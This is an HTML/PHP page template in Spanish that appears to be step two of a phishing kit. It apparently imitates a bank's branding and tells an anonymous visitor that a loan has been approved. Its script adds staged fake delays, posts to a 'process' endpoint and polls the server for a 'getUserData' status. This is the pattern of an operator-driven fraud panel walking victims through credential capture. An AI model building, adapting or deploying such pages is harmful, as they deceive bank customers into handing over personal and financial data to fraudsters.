<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en línea</title>
    <style>
        #form1 {

            height: 100%;
            display: flex;
        }
    </style>
</head>

<body>
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c008">
            <div class="c010">
                <img src="public/paso2.8937458345/logoblanco.8783745345.svg">
            </div>
        </div>
        <div class="c009">
            <div class="c011">
                <img src="public/paso1.786324/logo.82734234.svg">
            </div>
            <div class="c012">
                <div class="c013">
                    <div style="height: 80px;"></div>
                    <div class="mb-10">
                        <img src="public/paso2.8937458345/miespaciofondoazul.98734234.png">
                    </div>
                    <div class="mb-5">
                        <p class="text5">
                            Ofertas pensadas en ti:
                        </p>
                    </div>
                </div>
                <div class="c014">
                    <div class="c016">
                        <div class="textright c017">
                            <img src="public/paso2.8937458345/senoradinero.289748234.svg">
                        </div>
                        <div class="c018">
                            Recomendado
                        </div>
                        <div class="c015">
                            <div style="height: 30px;">&nbsp;</div>
                            <div class="mb-10">
                                <p class="text6" style="font-size: 1.3rem;">
                                    Enhora buena Estimado Usuario(a)
                                </p>
                            </div>
                            <div class="mb-10">
                                <p class="text7" style="font-size: 1.25rem;">
                                    Tienes un Préstamo<br>
                                    aprobado
                                </p>
                            </div>
                            <div class="mb-10">
                                <div class="flex flex-gap-10 flex-align-items">
                                    <img height="15" src="public/paso2.8937458345/moneybag.873234.svg">
                                    <p style="font-size: 0.85rem;">Tú eliges el monto y las cuotas</p>
                                </div>
                            </div>
                            <div class="mb-10">
                                <div class="flex flex-gap-10 flex-align-items">
                                    <img height="15" src="public/paso2.8937458345/document.982374234denied.svg">
                                    <p style="font-size: 0.85rem;">Recíbelo en tu cuenta al instante</p>
                                </div>
                            </div>
                            <div class="mb-50">
                                <div class="flex flex-gap-10 flex-align-items">
                                    <img height="15" src="public/paso2.8937458345/hous.982374324e.svg">
                                    <p style="font-size: 0.85rem;">¡Pídelo desde donde estés!</p>
                                </div>
                            </div>
                            <div class="mb-20">
                                <button type="button" id="btn1" class="btn1">
                                    Solicitalo aquí
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </form>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var form = document.getElementById("form1")
        var numerodocumento = form.querySelector("input[name=numerodocumento]")
        var btn1 = document.getElementById("btn1")
        var modalloader1 = document.getElementById("modalloader1")

        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }

        sub = async function () {
            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion", "step2")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {
                location.reload()
                return
            }

            checkstatus()


        }

        presub = function () {

            

            btn1.classList.add("processing")
            window.setTimeout((e) => {
                modalloader1.classList.remove("hidden")

                window.setTimeout(sub, 3000)
            }, 3500)


        }

        init = function () {


            btn1.addEventListener("click", presub)

        }

        window.addEventListener("load", init)
    </script>
</body>

</html>